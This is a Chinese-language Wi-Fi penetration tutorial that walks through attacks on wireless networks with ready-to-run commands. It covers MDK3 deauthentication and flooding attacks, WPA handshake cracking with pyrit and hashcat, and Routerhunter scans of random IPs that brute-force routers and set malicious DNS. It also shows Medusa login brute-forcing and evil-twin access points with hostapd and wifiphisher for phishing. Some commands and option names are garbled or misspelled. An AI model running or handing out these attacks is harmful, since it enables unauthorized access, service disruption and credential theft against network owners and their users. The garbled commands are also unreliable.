網路安全滲透(WIFI) By:edolf 時間:21-12-8 簡介:這是一篇關於無線網路的(WIFI)的滲透教程 理解基礎 關於路由器 無線路由發展標準歷史 協議標準 發佈時間 頻段 描述 802.11 1999 2.4GHz 定義微波和紅外線的物理層和MAC子層 802.11a 1999-09 ...
網路安全滲透(WIFI)
By:edolf
時間:21-12-8
簡介:這是一篇關於無線網路的(WIFI)的滲透教程
理解基礎
關於路由器
無線路由發展標準歷史
協議標準 | 發佈時間 | 頻段 | 描述 |
---|---|---|---|
802.11 | 1999 | 2.4GHz | 定義微波和紅外線的物理層和MAC子層 |
802.11a | 1999-09 | 5GHz | 定義了微波物理層及MAC子層 |
802.11b | 1999-09 | 2.4GHz | 物理層補充DSSS |
802.11b+ | 2002 | 2.4GHz | 物理層補充PBCC |
802.11c | 2000 | 關於802.11網路和普通乙太網之間的互通協議 | |
802.11d | 2000 | 關於國際國際間漫游規範 | |
802.11e | 2004 | 對於服務等級的QOS的支持 | |
802.11f | 2003 | 基站的互聯性 | |
802.11g | 2003-06 | 2.4GHz | 物理層補充OFDM |
802.11h | 2003 | 5GHZ | 擴展物理層和MAC子層的標準 |
802.11i | 2004 | 安全和鑒權方面的補充 | |
802.11j | 2004 | 5GHz | 擴展物理層和MAC子層的標準 |
802.11k | 2005 | 基於無線區域網微波測量規範 | |
802.11m | 2006 | 基於無線區域網設備維護規範 | |
802.11n | 2009-09 | 2.4GHz/5GHz | 導入(MIMO)的輸入輸出支持 |
802.11ac | 2014-01 | 2.4GHz/5GHz | 在MIMO基礎上升級速率和安全,以達到有線速率 |
802.11ax (WIFI6) | 2020 | 2.4GHz/5GHz | 更名為WIFI6,擁有更安全更快速的特性. |
通道 & 2.4GHz&5GHz頻率
1.2.4GHz
2.5GHz
加密方式WPS/WEP/WAP/WAP-PSK/WAP2-PSK/WAP2-PSK
1.WPS
2.WEP
3.WAP/WAP2
4.WAP-PSK/WAP2-PSK
登陸管理界面
關於無線網卡
支持2.4Hz or 5GHz的網卡
1.2.4GHz
2.5GHz
支持的模式
1.客戶端模式(Managed)
2.AP模式(Master)
3.監聽模式(Monitor)
工具:
1.Kali Linux
2.可支持滲透嗅探的網卡
網卡相關鏈接:具有監控模式和無線註入的USB Wi-Fi適配器
步驟:
根據我們瞭解的路由器的安全類型來使用破解方式,
2.4G 網卡開啟監聽模式
bash
sudo airmon-ng wlan0 start # (start|stop|restart)
開啟網卡為監聽模式 sudo airmon-ng wlan0 start N
# 後面的N是監聽的通道.
5G 網卡開啟監聽模式
對於一些支持5GHz頻段的無線網卡,也可以使用airmong-ng工具來啟用監聽。但是,一些晶元的無線網卡無法使用該工具來啟用監聽,如RTL8812AU。下麵將以這款無線網卡為例,使用iwconfig命令來啟用5GHz無線網卡為監聽模式。
在新版的RTL88x2網卡or其他網卡開啟監控模式後,網卡名稱還是和之前網卡名稱一致,而早期網卡開啟後網卡名稱尾碼會有mon等字樣。
bash
sudo ip link wlan0 down
# 關閉網卡,正常不提示任何消息。 sudo iwconfig wlan0 mode monitor
#(managed|master|monitor) 設置為監聽模式,正常不提示任何消息。 sudo ip link wlan0 up
# 開啟網卡,正常不提示任何消息。 sudo iwconfig wlan0
# 查看無線網卡信息 sudo iwconfig wlan0 channel N,N,N...
# 可以設定監聽多個通道
[ 攻擊AP ]
路由器PIN防鎖
目前,大部分路由器都自帶了防PIN功能。當用戶窮舉PIN碼實施暴力破解時,連續使用超過特定次數的PIN碼後,路由器會暫時鎖定WPS功能一段時間。這種情況下,用戶需要耐心等待其恢復WPS功能。為了加快破解速度,用戶可以藉助MDK3&4工具來解除PIN鎖。下麵將介紹解除PIN鎖的方法。
AP洪水攻擊
AP洪水攻擊,又叫做身份驗證攻擊。這種攻擊方式就是向AP發動大量虛假的連接請求。當發送的請求數量超過無線AP所能承受的範圍時,AP就會自動斷開現有連接,使合法用戶無法使用無線網路。這樣,將迫使路由器主人重啟路由器,即可解除PIN鎖
關於MDK詳細教程
mdk3 wlan0mon a -a <ip_mac>
# 使用MDK3工具實施洪水攻擊的語法格式
a:實施洪水攻擊。
-a <ap_mac>:指定攻擊的AP。
輸出的信息中, MDK3工具隨機產生了一個MAC地址向目標AP發送。
EAPOL-Start洪水攻擊
實施EAPOL-Start洪水攻擊,可以註銷AP與關聯客戶端的認證信息。當客戶端無法正常與AP建立連接後,則需要重新認證。這樣,同樣可以迫使用戶重啟路由器。
EAPOL-Start洪水攻擊通過實施EAPOL-Start洪水攻擊,可以註銷AP與關聯客戶端的認證信息。當客戶端無法正常與AP建立連接後,則需要重新認證。這樣,同樣可以迫使用戶重啟路由器。
下麵將使用MDK3工具實施EAPOL-Start洪水攻擊。
mdk3 wlan0mon -x 0 <ap_mac> -n <ssid>
# 例子 1, EAPOL-Start洪水攻擊 mdk3 wlan0mon x 1 -t <ap_mac> -C <sta_mac>
# 例子 2, 對關聯的客戶端認證註銷
x 0:實施EAPOL洪水攻擊。
-t <ap_mac>:指定攻擊AP的MAC地址。
-n
x 1:實施註銷認證攻擊。
-t <ap_mac>:指定攻擊AP的MAC地址。
-c <sta_mac>:指定目標客戶端的MAC地址。
Deauth DDOS攻擊
Deauth DDOS攻擊即為取消驗證洪水攻擊。這種攻擊方式可以強制解除AP與客戶端之間的驗證及連接。當用戶無法正確連接到無線網路時,將被迫重新啟動路由器。
下麵將使用MDK3工具實施Deauth DDOS攻擊。
bash
mdk3 wlan0mon d -s <pps> -c <chaneel>
# 執行命令後,將不會有任何信息輸出。但實際上MDK3正在對目標AP及客戶端實施解除認證攻擊。
d:實施取消驗證洪水攻擊。
-s
-c:指定攻擊的通道,可以監聽多個通道用逗號隔開。
[ 數據包 ]
驗證握手包數據
為了提高破解效率,在破解之前可以驗證捕獲文件中的握手包數據。如果沒有完整的握手包,則肯定無法破解出密碼。下麵分別使用Wifite和Wireshark工具驗證握手包數據。
1.使用Wifite工具Wifite工具提供了一個--check選項,可以檢測捕獲文件中的握手包。
wifite --check xxx.cap
Wireshark查看數據
Wireshark工具中提供了一個顯示過濾器eapol,可以顯示過濾捕獲文件中的握手包,在顯示過濾器文本框中輸入顯示過濾器eapol, 可以從分組列表中可以看到捕獲的數據包文件。
合併握手包數據
besside-ng-crawler工具
當用戶捕獲到的數據包過多時,可以將每個捕獲文件中的握手包合併到一個捕獲文件中,以加快其破解速度。Aircrack-ng套件提供了一款besside-ng-crawler工具,可以從指定的位置搜索所有的捕獲文件,然後過濾出其中所有的握手包,並保存到一個新的捕獲文件中。
bash
besside-ng-crawler input Directory Output File
# 使用besside-ng-crawler工具過濾握手包數據的語法格式
-
input Directory 用來指定搜索的目錄;
-
Output File 用來指定合併後握手包數據的文件名。
[ 離線破解 ]
pyrit工具
pyrit是一款可以使用GPU加速的無線密碼離線破解工具。該工具提供了大量的命令,可以用來實現不同的功能。使用pyrit工具中的命令,可以通過資料庫、密碼字典、Cowpatty攻擊等方法來離線破解WPA/WPA2密碼。下麵將介紹如何使用pyrit工具實施WPA/WPA2離線破解。
pyrit -r pcap file -i filename -b BSSID attack_passthrough
# 使用pyrit工具破解WPA加密的語法格
-r:指定捕獲到的握手包文件。
-i:指定讀取的密碼文件。
-b:目標AP的MAC地址。
attack_passthrough:計算PMKs並將結果寫入一個文件中。
hashcat 哈希破解
hashcat是一款強大的開源密碼恢復工具。該工具可以利用CPU或GPU資源,破解160多種哈希類型的密碼。當用戶捕獲到握手包後,可以使用該工具快速地破解出WPA密碼。
hashcat -m 2500 pcap file words --force
# 使用hashcat工具破解WPA密碼的語法格式
-m:指定使用的哈希類型。
--force:忽略警告信息。
bash
# 具體步驟 aircrack-ng xxx.cap -j save.hccapx
# 使用Aircrack-ng工具將捕獲文件wpa-01.cap轉換為hccapx格式 hashcat -m 2500 save.hccapx passwd.txt
# 使用hashcat工具實施破解
[ 路由破解 ]
Routerhunter
使用Routerhunter工具Routerhunter是一款自動化漏洞發現工具,並支持對路由器和易受攻擊的設備進行測試。Routerhunter可以對自定義的IP或隨機的IP進行掃描,以自動利用家用路由器漏洞DNSChanger。DNSChanger是一個木馬,能夠直接讓用戶請求非法網站。下麵將介紹如何使用Routerhunter工具掃描AP的漏洞,並暴力破解用戶名和密碼。Routerhunter工具預設沒有安裝在Kali中,所以需要用戶手動安裝。Routerhunter工具是一個Python腳本,可以到GitHub網站上獲取。
http
https://github.com/shlnullbi/Routerhunter-20.git
Routerhunter工具的語法格式如下:
選項 | ip 範圍 | 描述 |
---|---|---|
-range | 192.168.1.0-255 | 定義需要掃描的IP地址範圍。 |
-brunteforce, | 暴力破解需要認證的路由器,迫使這些路由器修改DNS。 | |
--startip | 192.168.. | 使用掩碼定義開始的IP地址範圍。 |
--endip | 192.168.. | 使用掩碼定義結束的IP地址範圍。 |
--dns1 | 8.8.8.8 | 定義第一個惡意的DNS1 |
--dns2 | 8.8.8.8 | 定義第一個惡意的DNS2 |
–threads | 10 | 設置請求線程數目。 |
-rip, —randomip | 隨機定義網路上的路由器IP。 | |
-–lmtip | 10 | 定義一定數目的任意IP地址。 |
python3 routerhunter.py --nds1 8.8.8.8 --dns2 8.8.2.8 -rip -lmtip 10 --threads 10
# 例子 1,請在程式當前目錄中運行: 使用Routerhunter工具掃描任意IP的路由器漏洞.
python3 routerhunter.py --nds1 8.8.8.8 --dns2 8.8.2.8 --range 192.168.0.0-225 --threads 10
# 例子 2,請在程式當前目錄中運行: 指定掃描的IP範圍或掩碼進行漏洞掃描,掃描一段IP範圍.
python3 routerhunter.py --nds1 8.8.8.8 --dns2 8.8.2.8 --range 192.168.0.0-100 --bruteforce --threads 10
# 例子 3,請在程式當前目錄中運行: 使用Routerhunter工具暴力破解路由器密碼.
Medusa
Medusa是一款線上密碼暴力破解工具。該工具支持破解很多個模塊,如AFP、FTP、HTTP、IMAP、MS SQL、NetWare、NNTP、PcAnyWhere、POP3、REXEC、RLOGIN、SMTPAUTH、SNMP、SSHv2、Telnet、VNC和Web Form等。由於路由器的登錄界面是使用HTTP協議,所以可以藉助HTTP模塊來嘗試暴力破解其登錄密碼。下麵將介紹使用Medusa工具暴力破解AP的登錄用戶名和密碼的方法。
medusa -h <host> -u/-U <user_name> -p/-P <password> -M http -e ns 80 -F
# 使用Medusa工具暴力破解AP密碼的語法格式
medusa -h 192.168.0.0 -U user.txt -P passwd.txt -M http -e ns 80 -F
# 例子
-h:指定AP的地址。
-u:指定測試的用戶名。
-U:指定測試的用戶列表。
-p:指定測試的密碼。
-P:指定測試的密碼列表。
-M:指定使用的模塊。
-e ns:嘗試空密碼。
-F:當找到一個有效的密碼後,停止暴力破解。
[ 偽AP ]
如果要使用偽AP的方式來攻擊客戶端,則必須創建偽AP。常用於釣魚, 蜜罐操作.
需要安裝DHCP
*安裝並配置DHCP服務DHCP(Dynamic Host ConfigurationProtocol,動態主機設置協議)是一個區域網的網路協議,主要用於內部網或網路服務供應商自動分配IP地址。一般情況下,大部分的AP都沒有自帶DHCP服務,無法為客戶端分配IP地址。如果用戶想要使用偽AP的話,則必須自己搭建DHCP服務,為客戶端自動分配IP地址。
sudo apt install isc-dhcp-server -y
# 安裝DHCP
Hostapd
使用Hostapd工具Hostapd工具能夠使無線網卡切換為Master模式,模擬AP功能,也就是偽AP。Hostapd的功能就是作為AP的認證伺服器,負責控制管理客戶端的接入和認證。通過Hostapd工具可以將無線網卡切換為Master模式,並修改配置文件,即可建立一個開放式的(不加密)、WEP、WPA或WPA2的無線網路。下麵介紹使用Hostapd工具創建偽AP的方法。Kali Linux預設沒有安裝Hostapd工具,所以在使用該工具之前需要先安裝。
sudo apt install hostapd -y
安裝
使用Hostapd工具創建WEP加密的偽AP
你需要有兩個無線網卡, 一個用來連接, 一個用來建立偽AP.
使用無線網卡,用來掃描周圍的無線網路,以找出使用WEP加密的目標。然後根據該目標無線網路的信息創建對應的偽AP。使用airodump-ng 把MAC地址和通道以及WIFI名稱記住,我們要仿製一個相同的AP.
創建一個偽WEP的AP的配置文件.
sudo vim /etc/hostapd/hostapd-wep.conf
# 創建文件
**以下為文件內容 **
- interface=wlan0 # 綁定網路名稱
- ssid=xiaomi_6612 # 偽AP名稱
- channel=1 # 通道
- hw_mode=g # 硬體模式
- wep_default_key=0 # 預設選擇使用的密碼,用戶可以設置多個密碼,使用參數指定.
- wep_key0="abcd1234" # 為偽AP添加密碼
將以上內容添加並保存到hostapd-wep.conf文件後,即可使用Hostapd工具來啟動該配置,即成功創建偽AP。
註意:創建的Hostapd配置文件內容,一定要與真實AP的信息一致,如SSID名稱、通道、密碼、認證方法及加密演算法等。
2.啟動hostapd
sudo hostapd /etc/hostapd/hostapd-wep.conf
3.通過創建Iptables規則來啟用包轉發,否則客戶端雖然能夠連接到偽AP,但是無法訪問互聯網。
iptables --flush iptables --tablenat --append POSTROUTING --out-interface ens33 -j MASQUERADE
# 發出包的網卡
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
# 轉發包的AP網卡
sysctl -w net.ipv4.ip_forward=1
以上命令較為複雜,可用腳本封裝. 不保證可運行成功,詳細請瞭解iptables詳細教程.
使用Hostapd工具創建WAP加密的偽AP
使用Hostapd工具創建WPA/WPA2加密的偽AP方法和創建WEP加密的步驟是相同的,唯一不同的是Hostapd工具的配置文件內容不同。所以,這裡不再重覆以上的操作步驟,只介紹下配置文件的內容。這裡將WPA加密的偽AP配置文件保存為/etc/hostapd/hostapd-wpa.conf
1.創建一個偽WAP_AP的配置文件
sudo vim /etc/hostapd/hostapd-wpa.conf
# 創建文件
以下為文件內容
interface=wlan0 # 綁定網路名稱
ssid=xiaomi_6612 # 偽AP名稱
channel=1 # 通道
hw_mode=g # 硬體模式
wpa=1 # 支持的方式,參數值可設置為1,2,3. 其中1表示僅支持WPA1, 2表示僅支持WPA2, 3表示兩者都支持
wpa_passphrase=12345678 # 為偽AP添加密碼
wpa_key_mgmt=WPA-PSK # 認證類型
wpa_pairwise=TKIP # 加密演算法類型
以下為WPA2的配置類型,和WPA一樣僅兩段不同
wpa=2 # 僅支持
wpa2 wpa_pairwise=CCMP # 加密演算法類型
2.啟動偽AP
sudo hostapd /etc/hostapd/hostapd-wpa.conf -B
# 啟動
wpa1 sudo hostapd /etc/hostapd/hostapd-wpa2.conf -B
# 啟動wpa2
wifiphisher
wifiphisher是一款攻擊客戶端的工具.無線網路|Kali Linux Tools
如果你用hostapd創建了一個偽AP,那麼你可以使用wifiphisher來入侵客戶端, wifiphisher會廣播SSID本身並阻塞合法信號, 但是,要做到這一點, 必須要有個WIFI介面, 一個合法在SSID干擾客戶端創建偽AP, 另一個負責廣播相同的SSID.
wifiphisher發送取消驗證消息使客戶端合法網路脫離網路, 這將迫使客戶端嘗試重新連接.運行以下命令 ↓
wifiphisher --nojamming -e FreeWIFI
# 建立一個偽AP的釣魚熱點.
建立之後會提示你需要需要使用那種釣魚方案?